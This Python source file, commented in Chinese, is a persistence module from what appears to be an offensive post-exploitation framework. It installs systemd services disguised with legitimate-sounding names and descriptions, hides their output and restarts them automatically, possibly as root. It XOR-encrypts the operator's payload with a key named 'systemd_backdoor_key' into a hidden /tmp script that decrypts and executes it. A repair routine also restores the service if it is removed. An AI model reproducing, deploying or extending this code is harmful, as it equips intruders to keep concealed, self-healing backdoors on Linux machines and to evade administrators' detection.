#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Systemd服务伪装权限维持模块
实现基于systemd服务的权限维持技术
"""

import os
import sys
import json
import random
import subprocess
import tempfile
from typing import Dict, List, Optional, Tuple
from pathlib import Path
import yaml

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult, 
    PersistenceStatus, PersistenceLevel
)


class SystemdPersistenceModule(BasePersistenceModule):
    """Systemd服务伪装权限维持模块"""
    
    def __init__(self):
        super().__init__()
        self.module_name = "systemd"
        self.module_version = "1.0.0"
        self.supported_platforms = ["linux"]
        
        # 服务文件位置
        self.service_locations = {
            'system': '/etc/systemd/system/',
            'user': '~/.config/systemd/user/',
            'lib_system': '/usr/lib/systemd/system/',
            'lib': '/lib/systemd/system/'
        }
        
        # 合法服务名称模板
        self.legitimate_services = [
            'network-manager-helper', 'bluetooth-monitor', 'cups-helper', 
            'ssh-monitor', 'cron-helper', 'rsyslog-backup', 'dbus-monitor',
            'avahi-helper', 'NetworkManager-helper', 'systemd-helper',
            'kernel-update-helper', 'security-monitor', 'performance-monitor'
        ]
        
        # 加载配置
        self.config_file = Path(__file__).parent / "config.yaml"
        self.load_config()
    
    def load_config(self):
        """加载配置文件"""
        try:
            if self.config_file.exists():
                with open(self.config_file, 'r', encoding='utf-8') as f:
                    self.config = yaml.safe_load(f)
            else:
                # 默认配置
                self.config = {
                    'service_templates': {
                        'stealth_names': self.legitimate_services,
                        'descriptions': [
                            'System Security Monitor Service',
                            'Network Configuration Helper',
                            'Kernel Module Update Service',
                            'Hardware Compatibility Daemon',
                            'System Performance Monitor',
                            'Security Update Helper',
                            'Network Interface Monitor'
                        ]
                    },
                    'stealth_settings': {
                        'use_user_service': True,
                        'randomize_restart_sec': True,
                        'hide_output': True,
                        'use_after_dependencies': True
                    }
                }
                self.save_config()
        except Exception as e:
            self.logger.error(f"加载配置失败: {e}")
            self.config = {}
    
    def save_config(self):
        """保存配置文件"""
        try:
            with open(self.config_file, 'w', encoding='utf-8') as f:
                yaml.dump(self.config, f, default_flow_style=False, allow_unicode=True)
        except Exception as e:
            self.logger.error(f"保存配置失败: {e}")
    
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署systemd服务权限维持"""
        try:
            # 平台检查
            if not self.is_platform_supported():
                return PersistenceResult(
                    success=False,
                    message="不支持的平台，需要Linux系统",
                    instance_id=None
                )
            
            # 验证配置
            validation_result = self.validate_config(config)
            if not validation_result.success:
                return validation_result
            
            # 生成实例ID
            instance_id = self.generate_instance_id()
            
            # 选择服务位置和名称
            service_location = self._select_service_location(config.stealth_level)
            service_name = self._generate_service_name(config.stealth_level)
            service_file = f"{service_location}/{service_name}.service"
            
            # 创建服务文件内容
            service_content = self._create_service_content(config, service_name)
            
            # 确保目录存在
            os.makedirs(service_location, exist_ok=True)
            
            # 写入服务文件
            with open(service_file, 'w', encoding='utf-8') as f:
                f.write(service_content)
            
            # 设置权限
            os.chmod(service_file, 0o644)
            
            # 重新加载systemd配置
            subprocess.run(['systemctl', 'daemon-reload'], 
                         check=True, capture_output=True)
            
            # 启用并启动服务
            subprocess.run(['systemctl', 'enable', service_name], 
                         check=True, capture_output=True)
            subprocess.run(['systemctl', 'start', service_name], 
                         check=True, capture_output=True)
            
            # 保存实例配置
            instance_config = {
                'service_name': service_name,
                'service_file': service_file,
                'service_location': service_location,
                'payload': config.payload,
                'stealth_level': config.stealth_level,
                'created_time': self.get_current_time()
            }
            self.save_instance_config(instance_id, instance_config)
            
            self.logger.info(f"Systemd服务权限维持部署成功: {service_name}")
            
            return PersistenceResult(
                success=True,
                message=f"Systemd服务权限维持部署成功: {service_name}",
                instance_id=instance_id,
                details={
                    'service_name': service_name,
                    'service_file': service_file,
                    'status': 'active'
                }
            )
            
        except subprocess.CalledProcessError as e:
            error_msg = f"Systemd命令执行失败: {e.stderr.decode() if e.stderr else str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=None
            )
        except Exception as e:
            error_msg = f"部署systemd权限维持失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=None
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查systemd服务状态"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            service_name = instance_config['service_name']
            
            # 检查服务状态
            result = subprocess.run(
                ['systemctl', 'is-active', service_name],
                capture_output=True, text=True
            )
            
            is_active = result.stdout.strip() == 'active'
            
            # 检查服务是否启用
            result = subprocess.run(
                ['systemctl', 'is-enabled', service_name],
                capture_output=True, text=True
            )
            
            is_enabled = result.stdout.strip() == 'enabled'
            
            # 检查服务文件是否存在
            service_file = instance_config['service_file']
            file_exists = os.path.exists(service_file)
            
            status = PersistenceStatus.ACTIVE if (is_active and is_enabled and file_exists) else PersistenceStatus.INACTIVE
            
            return PersistenceResult(
                success=True,
                message=f"服务状态检查完成",
                instance_id=instance_id,
                details={
                    'service_name': service_name,
                    'is_active': is_active,
                    'is_enabled': is_enabled,
                    'file_exists': file_exists,
                    'status': status.value
                }
            )
            
        except Exception as e:
            error_msg = f"检查systemd服务状态失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复systemd服务"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            service_name = instance_config['service_name']
            service_file = instance_config['service_file']
            
            repair_actions = []
            
            # 检查并修复服务文件
            if not os.path.exists(service_file):
                # 重新创建服务文件
                config = PersistenceConfig(
                    payload=instance_config['payload'],
                    stealth_level=instance_config['stealth_level']
                )
                service_content = self._create_service_content(config, service_name)
                
                with open(service_file, 'w', encoding='utf-8') as f:
                    f.write(service_content)
                os.chmod(service_file, 0o644)
                repair_actions.append("重新创建服务文件")
            
            # 重新加载systemd配置
            subprocess.run(['systemctl', 'daemon-reload'], 
                         check=True, capture_output=True)
            repair_actions.append("重新加载systemd配置")
            
            # 检查并修复服务启用状态
            result = subprocess.run(
                ['systemctl', 'is-enabled', service_name],
                capture_output=True, text=True
            )
            
            if result.stdout.strip() != 'enabled':
                subprocess.run(['systemctl', 'enable', service_name], 
                             check=True, capture_output=True)
                repair_actions.append("重新启用服务")
            
            # 检查并修复服务运行状态
            result = subprocess.run(
                ['systemctl', 'is-active', service_name],
                capture_output=True, text=True
            )
            
            if result.stdout.strip() != 'active':
                subprocess.run(['systemctl', 'start', service_name], 
                             check=True, capture_output=True)
                repair_actions.append("重新启动服务")
            
            self.logger.info(f"Systemd服务修复完成: {service_name}")
            
            return PersistenceResult(
                success=True,
                message=f"Systemd服务修复完成: {service_name}",
                instance_id=instance_id,
                details={
                    'service_name': service_name,
                    'repair_actions': repair_actions
                }
            )
            
        except Exception as e:
            error_msg = f"修复systemd服务失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理systemd服务"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            service_name = instance_config['service_name']
            service_file = instance_config['service_file']
            
            cleanup_actions = []
            
            # 停止服务
            try:
                subprocess.run(['systemctl', 'stop', service_name], 
                             check=True, capture_output=True)
                cleanup_actions.append("停止服务")
            except subprocess.CalledProcessError:
                pass  # 服务可能已经停止
            
            # 禁用服务
            try:
                subprocess.run(['systemctl', 'disable', service_name], 
                             check=True, capture_output=True)
                cleanup_actions.append("禁用服务")
            except subprocess.CalledProcessError:
                pass  # 服务可能已经禁用
            
            # 删除服务文件
            if os.path.exists(service_file):
                os.remove(service_file)
                cleanup_actions.append("删除服务文件")
            
            # 重新加载systemd配置
            subprocess.run(['systemctl', 'daemon-reload'], 
                         check=True, capture_output=True)
            cleanup_actions.append("重新加载systemd配置")
            
            # 删除实例配置
            self.delete_instance_config(instance_id)
            cleanup_actions.append("删除实例配置")
            
            self.logger.info(f"Systemd服务清理完成: {service_name}")
            
            return PersistenceResult(
                success=True,
                message=f"Systemd服务清理完成: {service_name}",
                instance_id=instance_id,
                details={
                    'service_name': service_name,
                    'cleanup_actions': cleanup_actions
                }
            )
            
        except Exception as e:
            error_msg = f"清理systemd服务失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有systemd权限维持实例"""
        instances = []
        
        for instance_id in self.get_all_instance_ids():
            instance_config = self.load_instance_config(instance_id)
            if instance_config:
                # 检查当前状态
                check_result = self.check_alive(instance_id)
                
                instances.append({
                    'instance_id': instance_id,
                    'service_name': instance_config.get('service_name'),
                    'service_file': instance_config.get('service_file'),
                    'stealth_level': instance_config.get('stealth_level'),
                    'created_time': instance_config.get('created_time'),
                    'status': check_result.details.get('status') if check_result.success else 'unknown',
                    'is_active': check_result.details.get('is_active') if check_result.success else False
                })
        
        return instances
    
    def _select_service_location(self, stealth_level: int) -> str:
        """选择服务文件位置"""
        if stealth_level >= 7:
            # 高隐蔽性：使用用户级服务
            user_dir = os.path.expanduser('~/.config/systemd/user/')
            return user_dir
        else:
            # 普通隐蔽性：使用系统级服务
            return self.service_locations['system']
    
    def _generate_service_name(self, stealth_level: int) -> str:
        """生成服务名称"""
        if stealth_level >= 7:
            # 高隐蔽性：使用合法服务名称模板
            base_name = random.choice(self.legitimate_services)
            suffix = random.randint(1, 999)
            return f"{base_name}-{suffix}"
        else:
            # 普通隐蔽性：简单随机名称
            return f"system-service-{random.randint(1000, 9999)}"
    
    def _create_service_content(self, config: PersistenceConfig, service_name: str) -> str:
        """创建服务文件内容"""
        # 生成服务描述
        description = self._generate_service_description(config.stealth_level)
        
        # 编码payload
        exec_start = self._encode_service_payload(config.payload, config.stealth_level)
        
        # 生成依赖关系
        after_deps = self._generate_after_dependencies(config.stealth_level)
        
        # 生成重启间隔
        restart_sec = self._generate_restart_sec(config.stealth_level)
        
        # 选择用户
        user = "root" if config.stealth_level < 5 else self._get_current_user()
        
        service_content = f"""[Unit]
Description={description}
After={after_deps}
Wants=network.target

[Service]
Type=simple
ExecStart={exec_start}
Restart=always
RestartSec={restart_sec}
User={user}
StandardOutput=null
StandardError=null
KillMode=process

[Install]
WantedBy=multi-user.target
"""
        return service_content
    
    def _generate_service_description(self, stealth_level: int) -> str:
        """生成服务描述"""
        if stealth_level >= 7:
            descriptions = self.config.get('service_templates', {}).get('descriptions', [
                "System Security Monitor Service",
                "Network Configuration Helper",
                "Kernel Module Update Service"
            ])
            return random.choice(descriptions)
        else:
            return "System Service"
    
    def _encode_service_payload(self, payload: str, stealth_level: int) -> str:
        """编码服务payload"""
        if stealth_level >= 8:
            # 高隐蔽性：使用高级加密技术和脚本文件
            script_file = f"/tmp/.{random.randint(1000, 9999)}.sh"
            
            # 使用高级加密技术编码payload
            try:
                import sys
                sys.path.append('/tmp')
                from modules.security.advanced_encryption import AdvancedEncryption
                
                enc = AdvancedEncryption()
                encrypted_payload = enc.encrypt_payload(payload, "systemd_service")
                master_key = enc.master_key
                
                # 创建服务脚本
                script_content = f'''#!/bin/bash
# 高级解密并执行payload
python3 -c "import sys; sys.path.append('/tmp'); from modules.security.advanced_encryption import AdvancedEncryption; enc = AdvancedEncryption('{master_key}'); import os; os.system(enc.decrypt_payload('{encrypted_payload}', 'systemd_service'))" 2>/dev/null &
'''
                
            except ImportError:
                # 降级方案：XOR + 压缩 + 十六进制编码
                import hashlib
                import zlib
                
                # 压缩载荷
                compressed = zlib.compress(payload.encode())
                
                # XOR加密
                key = hashlib.sha256("systemd_backdoor_key".encode()).digest()
                encrypted = bytes(a ^ b for a, b in zip(compressed, key * (len(compressed) // len(key) + 1)))
                
                # 十六进制编码
                hex_data = encrypted.hex()
                key_hex = key.hex()
                
                # 创建服务脚本
                script_content = f'''#!/bin/bash
# XOR解密并执行payload
python3 -c "import hashlib, zlib; hex_data='{hex_data}'; key_hex='{key_hex}'; encrypted = bytes.fromhex(hex_data); key = bytes.fromhex(key_hex); decrypted = bytes(a ^ b for a, b in zip(encrypted, key * (len(encrypted) // len(key) + 1))); import os; os.system(zlib.decompress(decrypted).decode())" 2>/dev/null &
'''
            
            with open(script_file, 'w') as f:
                f.write(script_content)
            os.chmod(script_file, 0o755)
            
            return f"/bin/bash {script_file}"
        elif stealth_level >= 5:
            # 中等隐蔽性：使用bash -c
            return f"/bin/bash -c '{payload}'"
        else:
            # 低隐蔽性：直接执行
            return payload
    
    def _generate_after_dependencies(self, stealth_level: int) -> str:
        """生成After依赖关系"""
        if stealth_level >= 6:
            deps = ["network.target", "multi-user.target"]
            if stealth_level >= 8:
                deps.extend(["systemd-user-sessions.service", "dbus.service"])
            return " ".join(deps)
        else:
            return "network.target"
    
    def _generate_restart_sec(self, stealth_level: int) -> int:
        """生成重启间隔"""
        if stealth_level >= 7:
            # 随机化重启间隔
            return random.randint(10, 60)
        else:
            return 30
    
    def _get_current_user(self) -> str:
        """获取当前用户"""
        try:
            import getpass
            return getpass.getuser()
        except:
            return "root"
    
    def validate_config(self, config: PersistenceConfig) -> PersistenceResult:
        """验证配置"""
        if not config.payload:
            return PersistenceResult(
                success=False,
                message="payload不能为空",
                instance_id=None
            )
        
        if config.stealth_level < 1 or config.stealth_level > 10:
            return PersistenceResult(
                success=False,
                message="stealth_level必须在1-10之间",
                instance_id=None
            )
        
        return PersistenceResult(
            success=True,
            message="配置验证通过",
            instance_id=None
        )


# 模块注册
def get_module():
    """获取模块实例"""
    return SystemdPersistenceModule()


if __name__ == "__main__":
    # 测试代码
    module = SystemdPersistenceModule()
    
    # 测试配置
    config = PersistenceConfig(
        payload="while true; do sleep 300; done",
        stealth_level=7
    )
    
    print("=== Systemd权限维持模块测试 ===")
    print(f"模块信息: {module.get_module_info()}")
    print(f"平台支持: {module.is_platform_supported()}")
    
    # 部署测试
    result = module.deploy(config)
    print(f"部署结果: {result}")
    
    if result.success:
        instance_id = result.instance_id
        
        # 检查状态
        check_result = module.check_alive(instance_id)
        print(f"状态检查: {check_result}")
        
        # 列出实例
        instances = module.list_instances()
        print(f"实例列表: {instances}")
        
        # 清理测试
        clean_result = module.clean(instance_id)
        print(f"清理结果: {clean_result}")